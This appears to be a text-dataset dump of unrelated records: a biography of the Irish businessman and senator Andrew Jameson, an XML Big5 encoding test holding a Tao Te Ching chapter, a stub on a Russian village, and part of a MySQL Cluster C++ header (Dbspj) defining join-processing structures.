text
stringlengths
1
22.8M
Andrew Jameson PC (Ire) DL (17 August 1855 – 15 February 1941) was a Scottish-born Irish public servant, politician and businessman. He was chairman of the Jameson whiskey business and the Irish lighthouse authority, and a member of both the Senate of Southern Ireland and then Seanad Éireann until 1936. Early life Jameson was born in Alloa, Clackmannanshire, Scotland. He was educated at London International College, Trinity College, Cambridge and Trinity College Dublin. Business roles Jameson was chairman of the whiskey distillers John Jameson & Son Ltd. From 1896 to 1898 he was Governor of the Bank of Ireland, remaining a director until 1941. He was president of the Dublin Chamber of Commerce in 1921–22. Public offices In 1902 he was High Sheriff of County Dublin. He was also chairman of the Irish Lights Commission, which administered lighthouses in Ireland. In 1917 he was a member of the unsuccessful Irish Convention. He was appointed to the Privy Council of Ireland in the 1921 New Year Honours, entitling him to the style "The Right Honourable". In March 1921, he established the Irish Businessmen's Conciliation Committee with Sir William Goulding to galvanise opposition from Irish businesses to the partition of Ireland. Jameson was a member of the short-lived Senate of Southern Ireland, and then from 1922 to 1936 served as a Senator of the Irish Free State. As a member of the Memorial Committee set up to establish the Irish National War Memorial Gardens, in December 1930 he advised W. T. Cosgrave, President of the Executive Council of the Irish Free State, who was very interested in bringing the memorial to fruition, on the suitability of the site running along the south bank of the River Liffey; this site was eventually decided upon by Cosgrave and agreed by the committee. Personal life In 1877 he married Grace Burke (1854–1922), daughter of William Malachy Burke of Loughrea; they had four children, including the painter Harriet Kirkwood and lived at Sutton House on the southern shore of Howth Head. He married secondly, in 1924, Ruth Hart, daughter of George Vaughan Hart of Howth, County Dublin; they had no children. References External links Obituary, The Times, 17 February 1941. 1855 births 1941 deaths People from Alloa Alumni of Trinity College, Cambridge Alumni of Trinity College Dublin Irish businesspeople Irish bankers High Sheriffs of County Dublin Deputy Lieutenants Members of the Privy Council of Ireland Independent members of Seanad Éireann Members of the Senate of Southern Ireland Members of the 1922 Seanad Members of the 1925 Seanad Members of the 1928 Seanad Members of the 1931 Seanad Members of the 1934 Seanad
```xml <Document start_line="1"> <encoding start_line="1"> big5-eten </encoding> <head1 start_line="3"> &#32769;&#23376;&#36947;&#24503;&#32147; &#19977;&#21313;&#20843;&#31456; -- Big5 (Chinese) encoding test </head1> <Para start_line="5"> &#19978;&#24503;&#19981;&#24503;&#65292;&#26159;&#20197;&#26377;&#24503;&#65108; &#19979;&#24503;&#19981;&#22833;&#24503;&#65292;&#26159;&#20197;&#28961;&#24503;&#12290; &#19978;&#24503;&#28961;&#28858;&#32780;&#28961;&#20197;&#28858;&#65108; &#19979;&#24503;&#28961;&#28858;&#32780;&#26377;&#20197;&#28858;&#12290; &#19978;&#20161;&#28858;&#20043;&#32780;&#28961;&#20197;&#28858;&#65108; &#19978;&#32681;&#28858;&#20043;&#32780;&#26377;&#20197;&#28858;&#12290; &#19978;&#31150;&#28858;&#20043;&#32780;&#33707;&#20043;&#25033;&#65292;&#21063;&#25880;&#33218;&#32780;&#25172;&#20043;&#12290; </Para> <Para start_line="13"> &#25925;&#22833;&#36947;&#32780;&#21518;&#24503;&#65292;&#22833;&#24503;&#32780;&#21518;&#20161;&#65292;&#22833;&#20161;&#32780;&#21518;&#32681;&#65292;&#22833;&#32681;&#32780;&#21518;&#31150;&#12290;&#22827;&#31150;&#32773;&#65292;&#24544;&#20449;&#20043;&#34180;&#65292;&#32780;&#20098;&#20043;&#39318;&#12290; &#21069;&#35672;&#32773;&#65292;&#36947;&#20043;&#33775;&#65292;&#32780;&#24858;&#20043;&#22987;&#12290; &#26159;&#20197;&#22823;&#19976;&#22827;&#23621;&#20854;&#21402;&#65292;&#19981;&#23621;&#20854;&#34180;&#65108;&#23621;&#20854;&#23526;&#65292;&#19981;&#23621;&#20854;&#33775;&#12290; &#25925;&#21435;&#24444;&#21462;&#27492;&#12290; </Para> <Para start_line="18"> And as a verbatim section: </Para> <VerbatimFormatted start_line="20" xml:space="preserve"> &#19978;&#24503;&#19981;&#24503;&#65292;&#26159;&#20197;&#26377;&#24503;&#65108; &#19979;&#24503;&#19981;&#22833;&#24503;&#65292;&#26159;&#20197;&#28961;&#24503;&#12290; &#19978;&#24503;&#28961;&#28858;&#32780;&#28961;&#20197;&#28858;&#65108; &#19979;&#24503;&#28961;&#28858;&#32780;&#26377;&#20197;&#28858;&#12290; &#19978;&#20161;&#28858;&#20043;&#32780;&#28961;&#20197;&#28858;&#65108; &#19978;&#32681;&#28858;&#20043;&#32780;&#26377;&#20197;&#28858;&#12290; &#19978;&#31150;&#28858;&#20043;&#32780;&#33707;&#20043;&#25033;&#65292;&#21063;&#25880;&#33218;&#32780;&#25172;&#20043;&#12290; &#25925;&#22833;&#36947;&#32780;&#21518;&#24503;&#65292;&#22833;&#24503;&#32780;&#21518;&#20161;&#65292;&#22833;&#20161;&#32780;&#21518;&#32681;&#65292;&#22833;&#32681;&#32780;&#21518;&#31150;&#12290;&#22827;&#31150;&#32773;&#65292;&#24544;&#20449;&#20043;&#34180;&#65292;&#32780;&#20098;&#20043;&#39318;&#12290; &#21069;&#35672;&#32773;&#65292;&#36947;&#20043;&#33775;&#65292;&#32780;&#24858;&#20043;&#22987;&#12290; &#26159;&#20197;&#22823;&#19976;&#22827;&#23621;&#20854;&#21402;&#65292;&#19981;&#23621;&#20854;&#34180;&#65108;&#23621;&#20854;&#23526;&#65292;&#19981;&#23621;&#20854;&#33775;&#12290; &#25925;&#21435;&#24444;&#21462;&#27492;&#12290; </VerbatimFormatted> <Para start_line="33"> [end] </Para> </Document> ```
Mogilenskaya () is a rural locality (a village) in Kharovskoye Rural Settlement, Kharovsky District, Vologda Oblast, Russia. The population was 1 as of 2002. Geography Mogilenskaya is located 16 km northeast of Kharovsk (the district's administrative centre) by road. Parshinskoye is the nearest rural locality. References Rural localities in Kharovsky District
```c++ /* This program is free software; you can redistribute it and/or modify This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef DBSPJ_H #define DBSPJ_H #include <SimulatedBlock.hpp> #include <signaldata/LqhKey.hpp> #include <signaldata/ScanFrag.hpp> #include <AttributeHeader.hpp> #include <SLFifoList.hpp> #include <DLFifoList.hpp> #include <SLList.hpp> #include <ArenaPool.hpp> #include <DataBuffer2.hpp> #include <Bitmask.hpp> #include <signaldata/DbspjErr.hpp> #include "../dbtup/tuppage.hpp" class SectionReader; struct QueryNode; struct QueryNodeParameters; //#define SPJ_TRACE_TIME #ifdef SPJ_TRACE_TIME static inline Uint64 spj_now() { NDB_TICKS sec; Uint32 micro; NdbTick_CurrentMicrosecond(&sec, &micro); return Uint64(sec * 1000000 + micro); } #endif class Dbspj: public SimulatedBlock { public: Dbspj(Block_context& ctx, Uint32 instanceNumber = 0); virtual ~Dbspj(); private: BLOCK_DEFINES(Dbspj); /** * Signals from TC */ void execLQHKEYREQ(Signal* signal); void execSCAN_FRAGREQ(Signal* signal); void execSCAN_NEXTREQ(Signal* signal); void execDIH_SCAN_TAB_REF(Signal*); void execDIH_SCAN_TAB_CONF(Signal*); void execDIH_SCAN_GET_NODES_REF(Signal*); void execDIH_SCAN_GET_NODES_CONF(Signal*); /** * Signals from LQH */ void execLQHKEYREF(Signal* signal); void execLQHKEYCONF(Signal* signal); void execSCAN_FRAGREF(Signal* signal); void execSCAN_FRAGCONF(Signal* signal); void execSCAN_HBREP(Signal* signal); void execTRANSID_AI(Signal*signal); /** * General signals */ void execDUMP_STATE_ORD(Signal* signal){} void execREAD_NODESCONF(Signal*); void execREAD_CONFIG_REQ(Signal* signal); void execSTTOR(Signal* signal); void execDBINFO_SCANREQ(Signal* signal); void execCONTINUEB(Signal*); void execNODE_FAILREP(Signal*); void execINCL_NODEREQ(Signal*); void execAPI_FAILREQ(Signal*); void sendSTTORRY(Signal* signal); protected: //virtual bool getParam(const char* name, Uint32* count); public: struct Request; struct TreeNode; struct ScanFragHandle; typedef DataBuffer2<14, LocalArenaPoolImpl> Dependency_map; typedef LocalDataBuffer2<14, LocalArenaPoolImpl> Local_dependency_map; typedef DataBuffer2<14, LocalArenaPoolImpl> PatternStore; typedef LocalDataBuffer2<14, LocalArenaPoolImpl> Local_pattern_store; typedef Bitmask<(NDB_SPJ_MAX_TREE_NODES+31)/32> TreeNodeBitMask; struct RowRef { Uint32 m_page_id; Uint16 m_page_pos; union { Uint16 unused; Uint16 m_allocator; }; void copyto_link(Uint32 * dst) const { dst[0] = m_page_id; dst[1] = m_page_pos; } void assign_from_link(const Uint32 * src) { m_page_id = src[0]; m_page_pos = src[1]; } void copyto_map(Uint16 * dst) const { dst[0] = Uint16(m_page_id); dst[1] = Uint16(m_page_id >> 16); dst[2] = m_page_pos; } void assign_from_map(const Uint16 * src) { m_page_id = src[0]; m_page_id += Uint32(src[1]) << 16; m_page_pos = src[2]; } static bool map_is_null(const Uint16 * src) { return src[2] == 0xFFFF; } void setNull() { m_page_id = RNIL;} bool isNull() const { return m_page_id == RNIL;} }; static const RowRef NullRowRef; /** * This struct represent a row being passed to a child */ struct RowPtr { Uint32 m_type; Uint32 m_src_node_no; Uint32 m_src_node_ptrI; Uint32 m_src_correlation; struct Header { Uint32 m_len; Uint32 m_offset[1]; }; struct Section { const Header * m_header; SegmentedSectionPtrPOD m_dataPtr; }; struct Linear { RowRef m_row_ref; const Header * m_header; const Uint32 * m_data; }; union { struct Section m_section; struct Linear m_linear; } m_row_data; enum RowType { RT_SECTION = 1, RT_LINEAR = 2, RT_END = 0 }; }; struct SLFifoRowList { /** * Data used for a single linked list of rows */ Uint32 m_first_row_page_id; Uint32 m_last_row_page_id; Uint16 m_first_row_page_pos; Uint16 m_last_row_page_pos; void init() { m_first_row_page_id = RNIL;} bool isNull() const { return m_first_row_page_id == RNIL; } }; struct RowMap { /** * Data used for a map with rows (key is correlation id) * currently a single array is used to store row references * (size == batch size) */ RowRef m_map_ref; Uint16 m_size; // size of array Uint16 m_elements; // #elements in array void init() { m_map_ref.setNull();} bool isNull() const { return m_map_ref.isNull(); } void assign (RowRef ref) { m_map_ref = ref; } void copyto(RowRef& ref) const { ref = m_map_ref; } /** * functions for manipulating *content* of map */ void clear(Uint32 * ptr) { memset(ptr, 0xFF, MAP_SIZE_PER_REF_16 * m_size * sizeof(Uint16)); } void store(Uint32 * _ptr, Uint32 pos, RowRef ref) { Uint16 * ptr = (Uint16*)_ptr; ptr += MAP_SIZE_PER_REF_16 * pos; ref.copyto_map(ptr); m_elements++; } static void load(const Uint32 * _ptr, Uint32 pos, RowRef & ref) { const Uint16 * ptr = (const Uint16*)_ptr; ptr += MAP_SIZE_PER_REF_16 * pos; ref.assign_from_map(ptr); } static bool isNull(const Uint32 * _ptr, Uint32 pos) { const Uint16 * ptr = (const Uint16*)_ptr; ptr += MAP_SIZE_PER_REF_16 * pos; return RowRef::map_is_null(ptr); } STATIC_CONST( MAP_SIZE_PER_REF_16 = 3 ); }; struct SLFifoRowListIterator { RowRef m_ref; Uint32 * m_row_ptr; bool isNull() const { return m_ref.isNull(); } void setNull() { m_ref.setNull(); } }; struct SLFifoRowListIteratorPtr { RowRef m_ref; }; struct RowMapIterator { Uint32 * m_row_ptr; Uint32 * m_map_ptr; RowRef m_ref; // position of actual row Uint16 m_size; Uint16 m_element_no; bool isNull() const { return m_ref.isNull(); } void setNull() { m_ref.setNull(); } }; struct RowMapIteratorPtr { Uint32 m_element_no; }; /** * A struct used when building an TreeNode */ struct Build_context { Uint32 m_cnt; Uint32 m_scanPrio; Uint32 m_savepointId; Uint32 m_batch_size_rows; Uint32 m_resultRef; // API Uint32 m_resultData; // API Uint32 m_senderRef; // TC (used for routing) Uint32 m_scan_cnt; Signal* m_start_signal; // Argument to first node in tree SegmentedSectionPtr m_keyPtr; TreeNodeBitMask m_scans; // TreeNodes doing scans // Used for resolving dependencies Ptr<TreeNode> m_node_list[NDB_SPJ_MAX_TREE_NODES]; }; struct RowPage { /** * NOTE: This contains various padding to be binary aligned with Tup_page * (for storing into DLFifoList<RowPage> */ RowPage() {} struct File_formats::Page_header m_page_header; Uint32 unused0; Uint32 unused1; Uint32 nextList; Uint32 prevList; Uint32 m_data[GLOBAL_PAGE_SIZE_WORDS - 7]; STATIC_CONST( SIZE = GLOBAL_PAGE_SIZE_WORDS - 7 ); }; typedef Tup_varsize_page Var_page; struct RowBuffer { RowBuffer() { stack_init(); } DLFifoList<RowPage>::Head m_page_list; void stack_init() { new (&m_page_list) DLFifoList<RowPage>::Head(); m_stack.m_pos = 0xFFFF; } void var_init() { new (&m_page_list) DLFifoList<RowPage>::Head(); m_var.m_free = 0; } struct Stack { Uint32 m_pos; // position on head-page }; struct Var { Uint32 m_free; // Free on last page in list }; union { struct Stack m_stack; struct Var m_var; }; }; /** * A struct for building DA-part * that is shared between QN_LookupNode & QN_ScanFragNode */ struct DABuffer { const Uint32 * ptr; const Uint32 * end; }; /** * A struct with "virtual" functions for different operations */ struct OpInfo { /** * This function create a operation suitable * for execution */ Uint32 (Dbspj::*m_build)(Build_context&ctx, Ptr<Request>, const QueryNode*, const QueryNodeParameters*); /** * This function is called after build, but before start * it's allowed to block (i.e send signals) * and should if so increase request::m_outstanding */ void (Dbspj::*m_prepare)(Signal*, Ptr<Request>, Ptr<TreeNode>); /** * This function is used for starting a request */ void (Dbspj::*m_start)(Signal*, Ptr<Request>, Ptr<TreeNode>); /** * This function is used when getting a TRANSID_AI */ void (Dbspj::*m_execTRANSID_AI)(Signal*,Ptr<Request>,Ptr<TreeNode>, const RowPtr&); /** * This function is used when getting a LQHKEYREF */ void (Dbspj::*m_execLQHKEYREF)(Signal*, Ptr<Request>, Ptr<TreeNode>); /** * This function is used when getting a LQHKEYCONF */ void (Dbspj::*m_execLQHKEYCONF)(Signal*, Ptr<Request>, Ptr<TreeNode>); /** * This function is used when getting a SCAN_FRAGREF */ void (Dbspj::*m_execSCAN_FRAGREF)(Signal*, Ptr<Request>, Ptr<TreeNode>, Ptr<ScanFragHandle>); /** * This function is used when getting a SCAN_FRAGCONF */ void (Dbspj::*m_execSCAN_FRAGCONF)(Signal*, Ptr<Request>, Ptr<TreeNode>, Ptr<ScanFragHandle>); /** * This function is called on the *child* by the *parent* when passing rows */ void (Dbspj::*m_parent_row)(Signal*,Ptr<Request>,Ptr<TreeNode>, const RowPtr&); /** * This function is called on the *child* by the *parent* when *parent* * has completed a batch */ void (Dbspj::*m_parent_batch_complete)(Signal*,Ptr<Request>,Ptr<TreeNode>); /** * This function is called on the *child* by the *parent* when this * child should prepare to resend results related to parents current batch */ void (Dbspj::*m_parent_batch_repeat)(Signal*,Ptr<Request>,Ptr<TreeNode>); /** * This function is called on the *child* by the *parent* when * child should release buffers related to parents current batch */ void (Dbspj::*m_parent_batch_cleanup)(Ptr<Request>,Ptr<TreeNode>); /** * This function is called when getting a SCAN_NEXTREQ */ void (Dbspj::*m_execSCAN_NEXTREQ)(Signal*, Ptr<Request>,Ptr<TreeNode>); /** * This function is called when all nodes in tree are finished * it's allowed to "block" (by increaseing requestPtr.p->m_outstanding) */ void (Dbspj::*m_complete)(Signal*, Ptr<Request>,Ptr<TreeNode>); /** * This function is called when a tree is aborted * it's allowed to "block" (by increaseing requestPtr.p->m_outstanding) */ void (Dbspj::*m_abort)(Signal*, Ptr<Request>, Ptr<TreeNode>); /** * This function is called on node-failure */ Uint32 (Dbspj::*m_execNODE_FAILREP)(Signal*, Ptr<Request>, Ptr<TreeNode>, NdbNodeBitmask); /** * This function is called when request/node(s) is/are removed * should only do local cleanup(s) */ void (Dbspj::*m_cleanup)(Ptr<Request>, Ptr<TreeNode>); }; //struct OpInfo struct LookupData { Uint32 m_api_resultRef; Uint32 m_api_resultData; /** * This is the number of outstanding messages. When this number is zero * and m_parent_batch_complete is true, we know that we have received * all rows for this operation in this batch. */ Uint32 m_outstanding; /** * If true, the parent operation has received all the rows it will get * in this batch. */ bool m_parent_batch_complete; Uint32 m_lqhKeyReq[LqhKeyReq::FixedSignalLength + 4]; }; struct ScanFragData { Uint32 m_rows_received; // #execTRANSID_AI Uint32 m_rows_expecting; // ScanFragConf Uint32 m_scanFragReq[ScanFragReq::SignalLength + 2]; Uint32 m_scanFragHandlePtrI; }; struct ScanFragHandle { enum SFH_State { SFH_NOT_STARTED = 0, SFH_SCANNING = 1, // in LQH SFH_WAIT_NEXTREQ = 2, SFH_COMPLETE = 3, SFH_WAIT_CLOSE = 4 }; void init(Uint32 fid) { m_ref = 0; m_fragId = fid; m_state = SFH_NOT_STARTED; m_rangePtrI = RNIL; reset_ranges(); } Uint32 m_magic; Uint32 m_treeNodePtrI; Uint16 m_fragId; Uint16 m_state; Uint32 m_ref; void reset_ranges() { // m_rangePtrI is explicitly managed...in code m_range_builder.m_range_cnt = m_range_builder.m_range_size = 0; } struct RangeBuilder { Uint16 m_range_size; Uint16 m_range_cnt; // too set bounds info correctly } m_range_builder; Uint32 m_rangePtrI; union { Uint32 nextList; Uint32 nextPool; }; }; typedef RecordPool<ScanFragHandle, ArenaPool> ScanFragHandle_pool; typedef SLFifoListImpl<ScanFragHandle_pool, ScanFragHandle> ScanFragHandle_list; typedef LocalSLFifoListImpl<ScanFragHandle_pool, ScanFragHandle> Local_ScanFragHandle_list; /** * This class computes mean and standard deviation incrementally for a series * of samples. */ class IncrementalStatistics { public: /** * We cannot have a (non-trivial) constructor, since this class is used in * unions. */ void init() { m_mean = m_sumSquare = 0.0; m_noOfSamples = 0; } // Add another sample. void update(double sample); double getMean() const { return m_mean; } double getStdDev() const { return m_noOfSamples < 2 ? 0.0 : sqrt(m_sumSquare/(m_noOfSamples - 1)); } private: // Mean of all samples double m_mean; //Sum of square of differences from the current mean. double m_sumSquare; Uint32 m_noOfSamples; }; // IncrementalStatistics struct ScanIndexData { Uint16 m_frags_complete; Uint16 m_frags_outstanding; /** * The number of fragment for which we have not yet sent SCAN_FRAGREQ but * will eventually do so. */ Uint16 m_frags_not_started; Uint32 m_rows_received; // #execTRANSID_AI Uint32 m_rows_expecting; // Sum(ScanFragConf) Uint32 m_batch_chunks; // #SCAN_FRAGREQ + #SCAN_NEXTREQ to retrieve batch Uint32 m_scanCookie; Uint32 m_fragCount; // The number of fragments that we scan in parallel. Uint32 m_parallelism; /** * True if this is the first instantiation of this operation. A child * operation will be instantiated once for each batch of its parent. */ bool m_firstExecution; /** * Mean and standard deviation for the optimal parallelism for earlier * executions of this operation. */ IncrementalStatistics m_parallelismStat; // Total number of rows for the current execution of this operation. Uint32 m_totalRows; // Total number of bytes for the current execution of this operation. Uint32 m_totalBytes; ScanFragHandle_list::HeadPOD m_fragments; // ScanFrag states union { PatternStore::HeadPOD m_prunePattern; Uint32 m_constPrunePtrI; }; /** * Max number of rows seen in a batch. Used for calculating the number of * rows per fragment in the next next batch when using adaptive batch size. */ Uint32 m_largestBatchRows; /** * Max number of bytes seen in a batch. Used for calculating the number of * rows per fragment in the next next batch when using adaptive batch size. */ Uint32 m_largestBatchBytes; Uint32 m_scanFragReq[ScanFragReq::SignalLength + 2]; }; struct TreeNode_cursor_ptr { Uint32 nextList; }; /** * A node in a Query * (This is an instantiated version of QueryNode in * include/kernel/signal/QueryTree.hpp) */ struct TreeNode : TreeNode_cursor_ptr { STATIC_CONST ( MAGIC = ~RT_SPJ_TREENODE ); TreeNode() : m_magic(MAGIC), m_state(TN_END), m_parentPtrI(RNIL), m_requestPtrI(0), m_ancestors() { } TreeNode(Uint32 request) : m_magic(MAGIC), m_info(0), m_bits(T_LEAF), m_state(TN_BUILDING), m_parentPtrI(RNIL), m_requestPtrI(request), m_ancestors(), nextList(RNIL), prevList(RNIL) { // m_send.m_ref = 0; m_send.m_correlation = 0; m_send.m_keyInfoPtrI = RNIL; m_send.m_attrInfoPtrI = RNIL; } const Uint32 m_magic; const struct OpInfo* m_info; enum TreeNodeState { /** * Initial */ TN_BUILDING = 1, /** * Tree node is preparing */ TN_PREPARING = 2, /** * Tree node is build and prepared, but not active */ TN_INACTIVE = 3, /** * Tree node is active (i.e has outstanding request(s)) */ TN_ACTIVE = 4, /** * Tree node is "finishing" (after TN_INACTIVE) */ TN_COMPLETING = 5, /** * end-marker, not a valid state */ TN_END = 0 }; enum TreeNodeBits { T_ATTR_INTERPRETED = 0x1, /** * Will node be executed only once (::parent_row()) * implies key/attr-info will be disowned (by send-signal) */ T_ONE_SHOT = 0x2, /** * Is keyinfo "constructed" * (implies key info will be disowned (by send-signal) */ T_KEYINFO_CONSTRUCTED = 0x4, /** * Is attrinfo "constructed" * (implies attr info will be disowned (by send-signal) */ T_ATTRINFO_CONSTRUCTED = 0x8, /** * Is this node a leaf-node */ T_LEAF = 0x10, /** * Does this node have a user projection. (The index access part of * an index lookup operation has no user projection, since only the * base table tuple is sent to the API.) */ T_USER_PROJECTION = 0x20, /** * Is this a unique index lookup (on index table) * (implies some extra error handling code) */ T_UNIQUE_INDEX_LOOKUP = 0x40, /* * Should this node buffers its rows */ T_ROW_BUFFER = 0x80, /** * Should rows have dictionary (i.e random access capability) * This is typically used when having nodes depending on multiple parents * so that when row gets availble from "last" parent, a key can be * constructed using correlation value from parents */ T_ROW_BUFFER_MAP = 0x100, /** * Does any child need to know about when *my* batch is complete */ T_REPORT_BATCH_COMPLETE = 0x200, /** * Do I need to know when parent batch is completed */ T_NEED_REPORT_BATCH_COMPLETED = 0x400, /** * Constant prune pattern */ T_CONST_PRUNE = 0x800, /** * Prune pattern */ T_PRUNE_PATTERN = 0x1000, /** * Should index scan be parallel */ T_SCAN_PARALLEL = 0x2000, /** * Possible requesting resultset for this index scan to be repeated */ T_SCAN_REPEATABLE = 0x4000, // End marker... T_END = 0 }; bool isLeaf() const { return (m_bits & T_LEAF) != 0;} Uint32 m_bits; Uint32 m_state; Uint32 m_node_no; Uint32 m_batch_size; Uint32 m_parentPtrI; const Uint32 m_requestPtrI; TreeNodeBitMask m_ancestors; Dependency_map::Head m_dependent_nodes; PatternStore::Head m_keyPattern; PatternStore::Head m_attrParamPattern; /** * Rows buffered by this node */ union { RowMap m_row_map; SLFifoRowList m_row_list; }; union { LookupData m_lookup_data; ScanFragData m_scanfrag_data; ScanIndexData m_scanindex_data; }; struct { Uint32 m_ref; // dst for signal /** Each tuple has a 16-bit id that is unique within that operation, * batch and SPJ block instance. The upper half word of m_correlation * is the id of the parent tuple, and the lower half word is the * id of the current tuple.*/ Uint32 m_correlation; Uint32 m_keyInfoPtrI; // keyInfoSection Uint32 m_attrInfoPtrI; // attrInfoSection } m_send; union { Uint32 nextList; Uint32 nextPool; }; Uint32 prevList; }; //struct TreeNode static const Ptr<TreeNode> NullTreeNodePtr; typedef RecordPool<TreeNode, ArenaPool> TreeNode_pool; typedef DLFifoListImpl<TreeNode_pool, TreeNode> TreeNode_list; typedef LocalDLFifoListImpl<TreeNode_pool, TreeNode> Local_TreeNode_list; typedef SLListImpl<TreeNode_pool, TreeNode, TreeNode_cursor_ptr> TreeNodeCursor_list; typedef LocalSLListImpl<TreeNode_pool, TreeNode, TreeNode_cursor_ptr> Local_TreeNodeCursor_list; /** * A request (i.e a query + parameters) */ struct Request { enum RequestBits { RT_SCAN = 0x1 // unbounded result set, scan interface ,RT_ROW_BUFFERS = 0x2 // Do any of the node use row-buffering ,RT_MULTI_SCAN = 0x4 // Is there several scans in request ,RT_VAR_ALLOC = 0x8 // Is var-allocation used for row-buffer ,RT_NEED_PREPARE = 0x10 // Does any node need m_prepare hook ,RT_NEED_COMPLETE = 0x20 // Does any node need m_complete hook ,RT_REPEAT_SCAN_RESULT = 0x40 // Repeat bushy scan result when required }; enum RequestState { RS_BUILDING = 0x1, RS_PREPARING = 0x2, RS_RUNNING = 0x3, RS_COMPLETING = 0x4, RS_ABORTING = 0x1000, // Or:ed together with other states RS_WAITING = 0x2000, // Waiting for SCAN_NEXTREQ RS_ABORTED = 0x2008, // Aborted and waiting for SCAN_NEXTREQ RS_END = 0 }; //struct Request Request() {} Request(const ArenaHead & arena) : m_arena(arena) {} Uint32 m_magic; Uint32 m_bits; Uint32 m_state; Uint32 m_errCode; Uint32 m_node_cnt; Uint32 m_senderRef; Uint32 m_senderData; Uint32 m_rootResultData; Uint32 m_transId[2]; TreeNode_list::Head m_nodes; TreeNodeCursor_list::Head m_cursor_nodes; Uint32 m_cnt_active; // No of "running" nodes TreeNodeBitMask m_active_nodes; // Nodes which will return more data in NEXTREQ Uint32 m_rows; // Rows accumulated in current batch Uint32 m_outstanding; // Outstanding signals, when 0, batch is done Uint16 m_lookup_node_data[MAX_NDB_NODES]; ArenaHead m_arena; RowBuffer m_rowBuffer; #ifdef SPJ_TRACE_TIME Uint32 m_cnt_batches; Uint32 m_sum_rows; Uint32 m_sum_running; Uint32 m_sum_waiting; Uint64 m_save_time; #endif bool isScan() const { return (m_bits & RT_SCAN) != 0;} bool isLookup() const { return (m_bits & RT_SCAN) == 0;} bool equal(const Request & key) const { return m_senderData == key.m_senderData && m_transId[0] == key.m_transId[0] && m_transId[1] == key.m_transId[1]; } Uint32 hashValue() const { return m_transId[0] ^ m_senderData; } union { Uint32 nextHash; Uint32 nextPool; }; Uint32 prevHash; }; private: /** * These are the rows in ndbinfo.counters that concerns the SPJ block. * @see Ndbinfo::counter_id. */ enum CounterId { /** * This is the number of incomming LQHKEYREQ messages (i.e queries with a * lookup as root). */ CI_READS_RECEIVED = 0, /** * This is the number of lookup operations (LQHKEYREQ) sent to a local * LQH block. */ CI_LOCAL_READS_SENT = 1, /** * This is the number of lookup operations (LQHKEYREQ) sent to a remote * LQH block. */ CI_REMOTE_READS_SENT = 2, /** * No of lookup operations which did not return a row (LQHKEYREF). * (Most likely due to non matching key, or predicate * filter which evalueted to 'false'). */ CI_READS_NOT_FOUND = 3, /** * This is the number of incomming queries where the root operation is a * fragment scan and this is a "direct scan" that does not go via an index. */ CI_TABLE_SCANS_RECEIVED = 4, /** * This is the number of "direct" fragment scans (i.e. no via an ordered * index)sent to the local LQH block. */ CI_LOCAL_TABLE_SCANS_SENT = 5, /** * This is the number of incomming queries where the root operation is a * fragment scan which scans the fragment via an ordered index.. */ CI_RANGE_SCANS_RECEIVED = 6, /** * This the number of scans using ordered indexes that have been sent to the * local LQH block. */ CI_LOCAL_RANGE_SCANS_SENT = 7, /** * This the number of scans using ordered indexes that have been sent to a * remote LQH block. */ CI_REMOTE_RANGE_SCANS_SENT = 8, /** * No of scan batches (on range or full table) returned to ndbapi */ CI_SCAN_BATCHES_RETURNED = 9, /** * Total no of rows returned from scans. */ CI_SCAN_ROWS_RETURNED = 10, /** * No of prunable indexscans that has been received */ CI_PRUNED_RANGE_SCANS_RECEIVED = 11, /** * No of "const" prunable index scans that has been received * i.e index-scan only access 1 partition */ CI_CONST_PRUNED_RANGE_SCANS_RECEIVED = 12, CI_END = 13 // End marker - not a valid counter id. }; /** * This is a set of counters for monitoring the behavior of the SPJ block. * They may be read through the ndbinfo.counters SQL table. */ class MonotonicCounters { public: MonotonicCounters() { for(int i = 0; i < CI_END; i++) { m_counters[i] = 0; } } Uint64 get_counter(CounterId id) const { return m_counters[id]; } void incr_counter(CounterId id, Uint64 delta) { m_counters[id] += delta; } private: Uint64 m_counters[CI_END]; } c_Counters; typedef RecordPool<Request, ArenaPool> Request_pool; typedef DLListImpl<Request_pool, Request> Request_list; typedef LocalDLListImpl<Request_pool, Request> Local_Request_list; typedef DLHashTableImpl<Request_pool, Request> Request_hash; typedef DLHashTableImpl<Request_pool, Request>::Iterator Request_iterator; ArenaAllocator m_arenaAllocator; Request_pool m_request_pool; Request_hash m_scan_request_hash; Request_hash m_lookup_request_hash; ArenaPool m_dependency_map_pool; TreeNode_pool m_treenode_pool; ScanFragHandle_pool m_scanfraghandle_pool; NdbNodeBitmask c_alive_nodes; void do_init(Request*, const LqhKeyReq*, Uint32 senderRef); void store_lookup(Ptr<Request>); void handle_early_lqhkey_ref(Signal*, const LqhKeyReq *, Uint32 err); void sendTCKEYREF(Signal* signal, Uint32 ref, Uint32 routeRef); void sendTCKEYCONF(Signal* signal, Uint32 len, Uint32 ref, Uint32 routeRef); void do_init(Request*, const ScanFragReq*, Uint32 senderRef); void store_scan(Ptr<Request>); void handle_early_scanfrag_ref(Signal*, const ScanFragReq *, Uint32 err); struct BuildKeyReq { Uint32 hashInfo[4]; // Used for hashing Uint32 fragId; Uint32 fragDistKey; Uint32 receiverRef; // NodeId + InstanceNo }; /** * Build */ const OpInfo* getOpInfo(Uint32 op); Uint32 build(Build_context&,Ptr<Request>,SectionReader&,SectionReader&); void checkPrepareComplete(Signal*, Ptr<Request>, Uint32 cnt); void start(Signal*, Ptr<Request>); void checkBatchComplete(Signal*, Ptr<Request>, Uint32 cnt); void batchComplete(Signal*, Ptr<Request>); void prepareNextBatch(Signal*, Ptr<Request>); void sendConf(Signal*, Ptr<Request>, bool is_complete); void complete(Signal*, Ptr<Request>); void cleanup(Ptr<Request>); void abort(Signal*, Ptr<Request>, Uint32 errCode); Uint32 nodeFail(Signal*, Ptr<Request>, NdbNodeBitmask mask); Uint32 createNode(Build_context&, Ptr<Request>, Ptr<TreeNode> &); void reportBatchComplete(Signal*, Ptr<Request>, Ptr<TreeNode>); void releaseScanBuffers(Ptr<Request> requestPtr); void releaseRequestBuffers(Ptr<Request> requestPtr, bool reset); void releaseNodeRows(Ptr<Request> requestPtr, Ptr<TreeNode>); void releaseRow(Ptr<Request>, RowRef ref); void registerActiveCursor(Ptr<Request>, Ptr<TreeNode>); void nodeFail_checkRequests(Signal*); void cleanupChildBranch(Ptr<Request>, Ptr<TreeNode>); void cleanup_common(Ptr<Request>, Ptr<TreeNode>); /** * Row buffering */ Uint32 storeRow(Ptr<Request>, 